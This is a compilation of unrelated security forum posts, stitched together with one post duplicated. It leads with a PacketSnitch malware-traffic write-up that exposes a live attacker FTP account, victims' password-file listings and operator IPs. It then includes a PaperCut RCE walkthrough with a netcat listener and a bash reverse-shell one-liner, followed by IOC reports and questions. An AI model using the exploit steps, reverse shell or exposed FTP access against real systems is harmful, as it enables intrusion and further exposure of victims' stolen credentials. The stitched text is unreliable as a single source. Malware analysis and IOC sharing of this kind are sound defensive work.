Background

I recently got my hands on a packet capture containing traffic from 404 Keylogger / Snake malware (thanks malware-traffic-analysis.net), and decided it would make a good real-world test of PacketSnitch, the network analysis software I have been developing. PacketSnitch is designed to take PCAP/PCAPNG captures and turn the raw traffic into something a little easier to tear apart: hosts, streams, credentials, files, certificates, geographic information, protocol data, content classifications, and other useful artifacts are correlated together instead of leaving you to manually dig through thousands of packets one at a time. Malware traffic is a particularly good usecase for this, because sometimes the interesting part isn’t one individual packet, but what several different connections tell you when you start putting them together.

For anyone who would rather watch me go through the capture, I also recorded a screencast of the 404 Keylogger/Snake analysis. The complete report generated from the capture is also available as a PacketSnitch malware analysis summary.

What is in the capture?

The PCAP itself is relatively small: 2,021 packets spread across 11 streams totaling about 2.26 MB, but there is quite a bit going on inside it. Eight hosts were observed, six of which were Internet hosts, and PacketSnitch decoded DNS, FTP, HTTP, and WebSocket traffic over TCP/UDP. What immediately makes this capture nice for analysis is that almost none of it is encrypted. Out of 2,021 packets, 2,018 are unencrypted, leaving quite a bit of application data hanging out in the open.

The internal machine at 10.1.14.131 is involved throughout the capture, while several external hosts start becoming interesting once we look at what they were actually doing. The largest remote conversation is with 23.39.148.32, an Akamai-associated address, at 1,570 packets. More interesting from the malware-analysis perspective are 91.92.243.152, 193.122.6.168, and 188.127.239.250. Taken independently, none of those connections necessarily tells us much. Taken together, however, we start getting something that looks considerably less like normal user traffic.

An interesting HTTP payload

One of the first things that really stuck out was an HTTP request to 91.92.243.152 for a strangely named file:

REQUEST: GET /dealer/agwofile.txt HTTP/1.1

The remote server answered with HTTP/1.1 200 OK and returned roughly 360 KB of text data. The headers identify the server as Apache 2.4.58 running on Win64, with PHP 8.0.30 and OpenSSL 3.1.3 also disclosed by the server. Despite being served as text/plain, the contents aren’t something that resembles an ordinary text document. PacketSnitch measured the data at around 4.91 entropy and identified the beginning of the object as long Base64-like/encoded-looking ASCII data (it happend to also be reversed base64).

==AAAAAAAAAAAAAA...8//AAAAEAAAAMAAQqVT

Reverse it, decode and the first few chars are:

00000000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 |MZ..............|

A Windows PE executable! There's our malware. Obfuscated.

That is exactly the sort of thing I want to notice when looking at malware traffic. An oddly named .txt file by itself isn’t particularly exciting. An oddly named .txt file containing hundreds of kilobytes of encoded-looking data, being transferred by a suspicious host in a malware capture, deserves a much closer look.

More interestingly, reconstruction and analysis of the HTTP data exposed what appears to be a credential-stealer artifact. The recovered data contained a “VIP Recovery” style log referencing a machine named DESKTOP-WIN11PC, with credential-related information from Thunderbird as well as Edge/Chromium browser data associated with sites including eBay, Amazon, Facebook, and LinkedIn. That starts giving us a much better idea of what the malware traffic represents: we’re not just looking at random HTTP requests, but traffic associated with collection and movement of potentially stolen information.

Credentials flying around in cleartext

The HTTP traffic wasn’t the only interesting part. PacketSnitch’s keystore picked up credential material associated with an FTP endpoint at:

FTP SERVER: 188.127.239.250

The FTP authentication information occurs across several packets in the capture. Because FTP authentication is plaintext, this is exactly the sort of thing that falls right out of a PCAP once the protocol is decoded. PacketSnitch correlated these artifacts into its keystore along with HTTP URI/URL information, TCP secrets, and a certificate observed elsewhere in the session.

This is one of the reasons I added the keystore functionality in the first place. When you’re analyzing a capture, I don’t particularly want to search through 2,000 packets wondering if a username, password, certificate, URL, or other useful piece of data appeared somewhere. If PacketSnitch can identify it while decoding the traffic, it gets pulled out and put somewhere useful for the analyst.

There is an important distinction here, too: finding FTP credentials in a packet capture does not automatically tell us whether they belong to the malware operator, a compromised machine, a staging server, or something else entirely. It gives us another artifact to correlate. Malware analysis is usually a lot more useful when you resist the temptation to immediately label every IP and credential you find and instead start building relationships between them.

The malware checks its public IP

Another connection that caught my attention was an HTTP request involving checkip.dyndns.org. The request uses an ancient-looking User-Agent:

Header Info: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)

The service responds with its normal “Current IP Check” page containing the externally visible IP address. The same IP-check behavior appears more than once in the decoded traffic.

This is useful behavior to identify because malware frequently needs to know something about the environment it is running inside. Discovering the public IP can be useful for identifying a victim, tracking an infected system behind NAT, associating collected data with a machine, or simply reporting network information back as part of the victim profile. By itself, querying a “what is my IP” service obviously isn’t malicious — plenty of legitimate software does that — but sitting beside credential-stealing artifacts, FTP authentication, and unusual HTTP transfers, it becomes another piece of the puzzle.

This is also a good example of why context matters so much in packet analysis. Looking only at that HTTP request gives you “a program checked its public IP.” Looking at it in the context of everything else gives you “a machine involved in suspected credential-stealing activity checked its externally visible IP while also communicating with several other pieces of infrastructure.”

Following the trail Overall, the traffic looks like a combination of host identification, credential activity, and data transfer/staging. PacketSnitch classified content in the capture as everything from ordinary ASCII through compressed/binary and executable-looking data. MIME detection included application/octet-stream, application/x-dosexec, application/zlib, text/plain, and text/html, among others. These signatures shouldn’t individually be taken as proof that each corresponding file type was intentionally transferred — file identification against arbitrary network data can generate some weird matches — but they give us useful places to start digging.

One thing I found particularly useful about this capture is how clean it was from a network-analysis standpoint. There were zero undecodable packets and zero TCP retransmissions, with only six out-of-order segments. That makes reconstructing the application data considerably nicer than working with a noisy or incomplete capture. PacketSnitch was able to correlate 1,753 packets through its heatmap and pull the higher-level artifacts together without losing the ability to drop down into individual packets and streams when something looked interesting. That is really the idea behind PacketSnitch. Wireshark and other packet tools are incredibly useful, but I wanted something aimed more directly at answering “what is interesting in this capture?” before I start spending hours manually dissecting it. PacketSnitch takes the capture, inventories the hosts and protocols, extracts things such as credentials and certificates, identifies transferred content, correlates streams and endpoints, performs threat-intelligence enrichment, and then gives me places to start digging deeper. The analyst still has to decide what the evidence actually means — which is exactly how it should be.

Conclusion

This 404 Keylogger/Snake capture ended up being a pretty good demonstration of that workflow. Starting with only a couple thousand packets, we can quickly move from “some Windows machine talked to some Internet hosts” to identifying a large suspicious HTTP transfer, recovered credential-stealer data, plaintext FTP credentials, repeated public-IP discovery, and the infrastructure

involved in those conversations. From there we can start pivoting on the hosts, credentials, payloads, timestamps, and other indicators to figure out what belongs to the malware and what is simply incidental traffic.

If you want to dig through the complete results yourself, I published the full PacketSnitch-generated analysis here. I also recorded a video walkthrough of my analysis, where you can see theactual workflow inside PacketSnitch rather than just reading the final results. Further... From temporal analysis of the FTP server admin log, along with the fs date stamps on the files, I did some calculations, and concluded the threat actor almost surely lives in Sweden.

Connected to 188.127.239.250 (188.127.239.250).

220 FTP Server ready.

Name (188.127.239.250:marshall): user1369590

331 Password required for user1369590

Password:

230 User user1369590 logged in

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ls

227 Entering Passive Mode (188,127,239,250,137,80).

150 Opening ASCII mode data connection for file list

drwxr-xr-x 5 user1369590 11465 36864 Aug 30 14:07 .

drwxr-xr-x 5 user1369590 11465 36864 Aug 30 14:07 ..

-rw-r--r-- 1 user1369590 11465 350 Aug 23 09:49 ABHISHE - Passwords ID - ZyiAEnXWZP1826493443.txt

drwx------ 2 user1369590 11465 4096 Aug 30 14:07 bin-tmp

-rw-r--r-- 1 user1369590 11465 341 Aug 19 15:21 CATHELL - Passwords ID - ZyiAEnXWZP1878462460.txt

-rw-r--r-- 1 user1369590 11465 7125 Jun 17 05:51 DESKTOP-BGF5EUH - Passwords ID - ZyiAEnXWZP2087716011.txt

-rw-r--r-- 1 user1369590 11465 545 Jun 18 14:32 DESKTOP-NB7V4CN - Passwords ID - ZyiAEnXWZP209915119.txt

-rw-r--r-- 1 user1369590 11465 537 Jun 16 00:45 DESKTOP-RGQ8GCE - Passwords ID - ZyiAEnXWZP611328409.txt

-rw-r--r-- 1 user1369590 11465 312 Aug 20 13:59 DmOZlLGNfUziPNV - Passwords ID - ZyiAEnXWZP225150320.txt

-rw-r--r-- 1 user1369590 11465 11 Aug 18 13:36 .fmsettings

-rw-r--r-- 1 user1369590 11465 1108 Aug 25 06:11 GEORGEPOP21 - Passwords ID - ZyiAEnXWZP992456622.txt

-rw-r--r-- 1 user1369590 11465 342 Aug 23 09:38 HAROLDY - Passwords ID - ZyiAEnXWZP54922518.txt

-rw-r--r-- 1 user1369590 11465 10365 Aug 21 05:50 HAZAN-HP - Passwords ID - ZyiAEnXWZP162938209.txt

-rw-r--r-- 1 user1369590 11465 11151 Aug 28 05:33 HAZAN-HP - Passwords ID - ZyiAEnXWZP1700571688.txt

-rw-r--r-- 1 user1369590 11465 10613 Aug 22 17:11 HAZAN-HP - Passwords ID - ZyiAEnXWZP1727364251.txt

-rw-r--r-- 1 user1369590 11465 11150 Aug 27 17:56 HAZAN-HP - Passwords ID - ZyiAEnXWZP1839898583.txt

-rw-r--r-- 1 user1369590 11465 10613 Aug 23 08:12 HAZAN-HP - Passwords ID - ZyiAEnXWZP1935694740.txt

-rw-r--r-- 1 user1369590 11465 10614 Aug 24 05:33 HAZAN-HP - Passwords ID - ZyiAEnXWZP517458626.txt

-rw-r--r-- 1 user1369590 11465 1104 Aug 25 06:27 JOEBILL - Passwords ID - ZyiAEnXWZP533920906.txt

-rw-r--r-- 1 user1369590 11465 355 Aug 26 00:51 JOYCERUSSE - Passwords ID - ZyiAEnXWZP482958106.txt

-rw-r--r-- 1 user1369590 11465 339 Aug 23 09:51 KELHAR - Passwords ID - ZyiAEnXWZP687420582.txt

-rw-r--r-- 1 user1369590 11465 312 Aug 19 11:05 L6pxCXsEDiRdoKx - Passwords ID - ZyiAEnXWZP244649265.txt

-rw-r--r-- 1 user1369590 11465 2522 Aug 20 08:45 LAPTOP-GGS4QNDN - Passwords ID - ZyiAEnXWZP84903678.txt

-rw-r--r-- 1 user1369590 11465 2541 Jun 24 04:44 LAPTOP-GGS4QNDN - Passwords ID - ZyiAEnXWZP866775951.txt

-rw-r--r-- 1 user1369590 11465 340 Aug 19 15:37 MATTHE - Passwords ID - ZyiAEnXWZP1308920128.txt

-rw-r--r-- 1 user1369590 11465 312 Aug 21 14:47 of68P2M4Mb8ikot - Passwords ID - ZyiAEnXWZP660019800.txt

drwxr-x--x 2 user1369590 11465 4096 Aug 30 14:07 php-bin

drwxr-xr-x 2 user1369590 11465 4096 Aug 24 08:09 popup

-rw-r--r-- 1 user1369590 11465 361 Aug 19 15:26 SANDRAP - Passwords ID - ZyiAEnXWZP1738639307.txt

-rw-r--r-- 1 user1369590 11465 3963 Jun 26 13:43 SEDAT-EXCALIBUR - Passwords ID - ZyiAEnXWZP277678885.txt

-rw-r--r-- 1 user1369590 11465 345 Aug 19 15:35 SRIHAWKINS - Passwords ID - ZyiAEnXWZP537245596.txt

-rw-r--r-- 1 user1369590 11465 345 Aug 23 09:40 WILLIAWARD - Passwords ID - ZyiAEnXWZP935722026.txt

226 Transfer complete

ftp>

Then the admin log from the FTP server (found via FTP server credentials the malware logged in with):

142.0.249.99

178.51.82.190

185.213.82.52

191.101.160.72

194.124.76.19

194.34.233.230

195.88.86.76

216.180.124.26

2.58.73.10

51.36.41.124

77.218.111.208

77.218.111.6

78.82.186.29 <--- very first signin 2025-09-22

83.143.107.189

83.182.18.14

83.182.18.18

83.182.18.212

83.185.88.84

83.186.139.156

83.186.139.36

83.186.230.102

83.186.230.227

83.186.230.231

83.187.166.73

83.187.170.153

83.187.179.48

83.187.190.187

90.129.106.121

90.129.108.224

90.129.118.140

90.129.120.89

90.129.123.23

90.141.149.15

90.141.149.46

94.114.89.66

This was primarily a network based analysis. There is certainly more to analyze on the actual malware binary itself, but out of the scope of this article.

PacketSnitch itself is open source and available from packetsnitch.com. I’m actively developing it (github link), and real malware captures like this are some of the best tests I have found for figuring out what an analyst actually needs when staring at a pile of packets.

P.S. For anyone who is interested in that FTP endpoint... it is live.

Hope you’ve enjoyed the analysis, and happy hacking!

Silve Fox Group Signed Rootkit

• Hardcoded targeting of Chinese AVs (360, QQ, Huorong, etc.) + Microsoft Defender components
• IOCTL interface allowing user-mode process termination

🛠️ CVE-2023-27350 (and Chained CVE-2026-81578/82078) - Step-by-Step Exploitation & Analysis Workflow

A critical vulnerability has been analyzed. Here is the technical breakdown, tool usage, and execution workflow for security teams and penetration testers.

🔍 Vulnerability Overview:

· Target: PaperCut NG / MF (print management software)

· Impact: Pre-Authentication Remote Code Execution (RCE)

· Severity: Critical 9.8 (CVSS v3.1) — actively probed in the wild, with 47% of instances remaining unpatched.

💻 Step-by-Step Command Workflow:

1️⃣ Reconnaissance & Detection:

Check if the target host is running a vulnerable PaperCut instance and identify the exposed version:

# Detect open PaperCut admin port (default 9191)

nmap -p 9191 --script http-title <target_ip> -sV

# Quick version fingerprinting via curl

curl -sk http://<target_ip>:9191/server-version

# Use the newer scanner to check for CVE-2026-81578 / 82078 vulnerabilities

python3 papercut.py scan --url http://<target_ip>:9191

2️⃣ Exploitation Setup:

Prepare your listener for a reverse shell and clone the necessary exploit tools:

# Start a netcat listener on your attacking machine

nc -lvnp 4444

# Clone the CVE-2023-27350 exploit repository

**************/dezso-dfield/CVE-2023-27350.git && cd CVE-2023-27350

chmod +x rce.sh

3️⃣ Execution:

Run the proof-of-concept (PoC) workflow to execute arbitrary system commands:

# Execute a test command (CVE-2023-27350)

./rce.sh -u http://<target_ip>:9191 -c "whoami"

# For a full reverse shell (base64 encoded bash)

./rce.sh -u http://<target_ip>:9191 -c "bash -c 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1'"

# OR if targeting CVE-2026-81578/82078 chain (pre-auth RCE)

python3 papercut.py exploit --cve 81578 --url http://<target_ip>:9191 --force --command "whoami & ver"

⚠️ Mitigation & Patching:

· Immediately update to PaperCut NG/MF ≥ 23.0.8 to address CVE-2026 series; for CVE-2023-27350, ensure you are on the patched build from May 2023.

· Implement the following firewall/IDS rule to detect this traffic: Monitor server.log for IOCs such as jdbc:derby:memory:pwn, No suitable driver found, or base64-encoded reconnaissance commands. Block external access to port 9191 (admin interface) unless strictly required.

I analyzed a Chinese language archive posing as a fresh-graduate resume from Beijing Institute of Technology.

The executable opens a genuine DOCX decoy while a custom 32-bit Go loader continues in the background.

A few things I found particularly interesting:

• ThreatBook/Weibu-specific sandbox detection
• exit when fewer than four logical CPUs are present
• kernel32!Beep used for a 10-second anti-time-acceleration check
• encrypted staging URLs
• reflective execution of a 1,454-byte Windows SNOWLIGHT stager
• raw TCP staging from 38.207.178[.]192:50812
• 4,649,984-byte VShell stream XOR-encoded with 0x99
• successful VShell registration and encrypted health traffic

SNOWLIGHT SHA-256:
0524619d2471d77aba4b7993f5ffbaa4b8be6d2c0d91e63a02943851dc4b6404

Decoded VShell SHA-256:
c666ac4f1a1b8df7ccfe8b19705279acd8b7eb7a4d0b3802bb3465064883ab25

The lure appears more consistent with targeting a professor/research group than corporate HR. I deliberately leave the actor unattributed because SNOWLIGHT/VShell alone is no longer actor-specific.

Full analysis, detection ideas and IOC set:

https://blog.himanshuanand.com/2026/08/a-fake-resume-invoked-chinas-defence-tech-elite-then-installed-vshell/

in any additional VShell/SNOWLIGHT overlaps people have seen in recent Windows samples.

We have had people who have managed to get past our identity validation process. And in doing so using our system for canned C2. THis damages our industry and our product reputation.

IF anyone has been victim to this abuse, or had someone attempt to get them to download and install an agent, there are several ways to help us identify and shut them down.

• If the attack was stopped prior to install make note of the URL it was downloaded from.
• If the attack proceeded to install, immediately stop the action1 service, and go to c:\windows\action1 there will be a text file labeled what_is_this, follow the instructions there. (and then of course remove the agent)
• Or if the threat actors deleted that file in effort to cover their tracks, immediately stop the Action1 service, and go to 'HKLM\SOFTWARE\WOW6432Node\Action1\Agent' and copy the value in "Customerid"

And then follow the directions below.

If you believe this installation of Action1 was not authorized by your organization, please contact your local law enforcement agency to report this incident. Make sure your report includes this Action1 organization ID (your steps above) along with our legal department email address (legal@action1.com).

We will cooperate with your law enforcement agency and provide all the necessary data and log files to assist with the investigation. In line with our longstanding policy designed to prioritize security, we do not provide log files, system data, or any sensitive information directly to individuals, organizations, or third parties, regardless of the reason for the request. We share necessary data exclusively upon receiving official requests from recognized law enforcement agencies. This approach not only ensures the privacy and security of our customers but also allows us to extend full support to legitimate investigations.

As well feel free to reach out to me personally at any time.

The faster we identify these ne'er-do-wells, the faster we can shut them down.

Let me know if anyone has any questions.

Please and thank you,
Gene Moody
Field CTO Action1
u/GeneMoody-Action1

I’ve been working on http://malext.io, a project focused on tracking malicious browser extensions and making the data easy to consume.

The feed now includes the extension version and CRX SHA-256 for almost every entry, along with a VirusTotal checkto help validate the files and provide additional context.

I’ll do my best to keep the data accurate and up to date, and to verify reports before adding them to the feed.

The feed is free, updated daily, and requires no signup.

A couple of the artifacts on this open directory are worth a look if you like reversing custom tooling.

• multi_backupd: a stage-1 ELF loader (SHA-256 7447d0d0c34779d4c519823b39bf6ddc16d2b34a226b82ee69da6f5b4a77ad82) that connects over TCP to the same host on port 8090 and pulls a Mettle stage-2 payload, which we retrieved.
• wp28000 / wp28000_cp: two 15 MB Go builds of a CVE-2024-28000 (LiteSpeed Cache) exploit. The source reimplements MT19937 with byte-for-byte PHP mt_rand() parity, self-tests against 11 known seed/output pairs on startup, then brute-forces a 0 to 999,999 seed range with 30 workers. The logged run landed on seed 311787 after roughly 3h45m and created an admin account.
• Five Python scripts implementing the ownCloud CVE-2023-49105 pre-signed URL abuse, with an empty PBKDF2 salt as the signing secret.

Also present: Sliver, Metasploit, and Mettle, plus a separate EtherHiding compromise (NoChain loader off an Ethereum smart contract) on a linked WordPress site.

Hashes and full IOCs: https://hunt.io/blog/chinese-speaking-operator-philippine-nuclear-naval-contractor

A campaign using fake Canada Revenue Agency (CRA) T4 tax documents is part of a broader remote-access operation spanning 46 countries, with 45% of observed activity linked to the US.

Attackers impersonate trusted organizations and documents to trick victims into installing legitimate remote management software, giving them remote access to compromised systems.

Hey everyone,

Over the last few months, I've been curating and categorizing a massive catalog of malware families designed specifically for incident responders, SOC analysts, and threat hunters.

I got tired of having to scrape together fragmented IOCs and CISA advisories every time a new variant popped up, so I built a centralized, open-source dataset.

**What's included:**

* **2,800+ Malware Families** categorized by type (Ransomware, InfoStealer, Wiper, etc.)

* **Framework Mapping:** Families are mapped to MITRE ATT&CK techniques, NIST CSF guidelines, and official CISA advisories.

* **Response Playbooks:** Actionable containment steps and "what to avoid" during an active incident.

* **Formats:** Available via a web UI, JSON API, Parquet, and JSONL.

It’s completely free and Apache-2.0 licensed.

You can browse the catalog here: https://jordanricky1604-ship-it.github.io/malware-families-catalog/

I'd love to hear your feedback on the schema or if there are specific families you think need deeper analysis. I'm actively maintaining and updating this!

I am currently busy doing a course for my university, and have a project to analyse and correlate different log sources with indicators of compromise specific to point-of-sale (pos) devices. I managed to find a 24 hour pcap of the backoff malware (c2 beconing), but overall I am struggling to find any datasets of an attack specific to pos devices. I am mostly looking at research papers, but perhaps I need to reach out to some of the researchers, as I can't find actual datasets.

Is there anyone that knows where I could find datasets to do a proper writeup? It can be of any pos malware, but we require 3 different log sources (e.g. firewall logs, authentication logs, system logs). I can also generate my own logs, but my professor advised against this unless I really can't manage to find any meaningful data online, as I'd essentially be engineering my own scenario instead of doing an analysis.

Please advise. Any help is welcome.

I tried to download an offline copy of the cyberleek website, and instantly got a warning about a severe Trojan alert (Trojan:Win32/MalUri.A!cl).

That's all I know, I'm not a security expert, just thought I'd let people know.

Hey everyone,

Over the last few months, I've been curating and categorizing a massive catalog of malware families designed specifically for incident responders, SOC analysts, and threat hunters.

I got tired of having to scrape together fragmented IOCs and CISA advisories every time a new variant popped up, so I built a centralized, open-source dataset.

**What's included:**

* **2,800+ Malware Families** categorized by type (Ransomware, InfoStealer, Wiper, etc.)

* **Framework Mapping:** Families are mapped to MITRE ATT&CK techniques, NIST CSF guidelines, and official CISA advisories.

* **Response Playbooks:** Actionable containment steps and "what to avoid" during an active incident.

* **Formats:** Available via a web UI, JSON API, Parquet, and JSONL.

It’s completely free and Apache-2.0 licensed.

You can browse the catalog here: https://jordanricky1604-ship-it.github.io/malware-families-catalog/

I'd love to hear your feedback on the schema or if there are specific families you think need deeper analysis. I'm actively maintaining and updating this!

Over the past 20 years, I've setup a lot of mail servers at work. These are mostly based on Postfix / Spamassassin / Dovecot, using IMAP for the clients. Recently, I started using Roundcube for webmail.

Postfix, uses several blacklists to block spam at the MTA level, these come pre-configured with the control panel, which blocks 99% of spam, and Spamassassin blocks the other 1%. Its a rare occurrence for spam to pass this setup, usually they are phishing emails or some new virus.

I always use DKIM, DMARC and SPF, and my deliverability is perfect, all mail goes to inbox.

I'm hosting mail servers with Linode and Hetzner, and I plan to expand to Netcup in the near future.

So far so good.

But, one thing I'm missing, is a good anti-malware/anti-virus, because ClamAV seems incapable of catching the malware files that go through my servers. I always take the time to extract these files and submit them at ClamAV Report Malware page, but its too late by then.

Sadly, when I submit the same virus to VirusTotal, the file gets 10+ hits in other anti-virus software but not ClamAV.

What are your suggestions?

Thank you.

I recently investigated a compromised WordPress installation and found a malware pattern that I haven't been able to find properly documented by a security vendor.

The most recognizable marker is injected into the active theme:

/* __GA_INJ_START__ */
...
/* __GA_INJ_END__ */

The incident was interesting because I had access to the WordPress DB, filesystem timestamps, PHP error logs and Apache access logs, which allowed me to reconstruct the compromise.

Main IOCs

Database options:

__ga_hidden_users
_theme_inject_status
__ga_r_cache

Hidden administrator naming patterns:

sync_agentXXXXXXXX
cdn_workerXXXXXXXX
seo_serviceXXXXXXXX

Actual accounts from this incident:

sync_agent56b7752b
cdn_workerbc36d5f6
seo_service06893f6c

All had administrator privileges.

One remote domain was stored in the database:

rukkoldauwe87[.]xyz

Timeline

On August 5 several IPs successfully authenticated to /wp-login.php as the legitimate administrator using automated clients including curl/Wget.

Later:

successful administrator login
→ Code Snippets activity
→ WP File Manager activation
→ browse to hello-elementor/functions.php
→ POSTs to admin-ajax.php
→ hidden administrator created seconds later

WP File Manager requests contained a Base64-encoded target which decoded to:

wp-content/themes/hello-elementor/functions.php

The first malicious administrator was created immediately afterwards.

On August 14 two additional hidden admins appeared and hello-elementor/functions.php was modified with the __GA_INJ_START__ payload.

The database contained a list of exactly those accounts under:

__ga_hidden_users

The malformed PHP injection eventually caused:

PHP Parse error: Unmatched '}'

which is how the compromise was initially noticed.

An important point is that the theme modification happened nine days after the first confirmed malicious administrator was created, so using the PHP file modification timestamp as the incident start would have missed most of the compromise.

I have published a sanitized incident report containing the timeline, IOCs and an experimental YARA rule:

[GitHub repository link]

No live malicious links or credentials are included.

I'm particularly interested in whether anyone has seen these exact identifiers before:

__GA_INJ_START__
__ga_hidden_users
_theme_inject_status
sync_agentXXXXXXXX
cdn_workerXXXXXXXX
seo_serviceXXXXXXXX

Does this malware family/campaign already have a known name or published analysis?

The remaining unknown is the initial-access vector. The logs clearly show valid authenticated WordPress admin sessions before the persistence mechanisms were installed, but they don't establish how those credentials/session tokens were originally obtained.

Recovered the full toolkit from an operator's open directory and worked through the components.

Analysis notes:

• The brute-force engine (publicly available as asleep_scanner) implements Dahua's Easy4IP binary protocol on TCP/37777 from a reverse-engineered packet structure: opcode 0xA0 login, 0xA8 channel enumeration, 0x11 snapshot, shared 0xA4 query distinguished by sub-code. Includes lockout detection reading the 0x01/0x04 response pair to abandon a host after five failures.
• p2pwn is a compiled Go binary chaining three auth vulns over one tunnel: a raw SDK channel for bypasses and backdoor install, an HTTP CGI channel, and a JSON-RPC console mimicking Dahua's NetKeyboard protocol. The JSON-RPC channel runs OnvifUser -u post-login to dump cached ONVIF credentials, a lateral credential-harvesting step.
• The co-staged Windows binary is the interesting analysis problem. Pre-rename filename (xeno.exe) implies XenoRAT; the only sandbox tag on both hosts it appeared on is SalatStealer. UPX-packed 32-bit PE, sections UPX0/UPX1/UPX2, compile timestamp zeroed. We assess SalatStealer on technique fit but flag it as an inference, no sandbox report, extracted config, or independent corroboration beyond the original tag exists for this hash. A third tagged technique (root cert install, T1553.004) is explained by neither family and remains unresolved.
• Stored-credential decryption routine in the toolkit derives its AES key entirely from device class prefix and serial, no device secret needed. Residual Spanish comments tie it to the same upstream source as the brute-forcer.

Hashes, full protocol detail, and ATT&CK mapping in the writeup:
https://hunt.io/blog/operation-cameraswarm-dahua-cameras-compromised

I never use reddit, but I would like to know the opinion of anyone who has already done sektor7 or even maldevacademy, I learned C and WinAPI, I am still learning to read assembly roughly but it's torture lol. And I plan to move towards more advanced training as part of my studies, and I was recommended sektor7 Essentials, has anyone already had experience with it?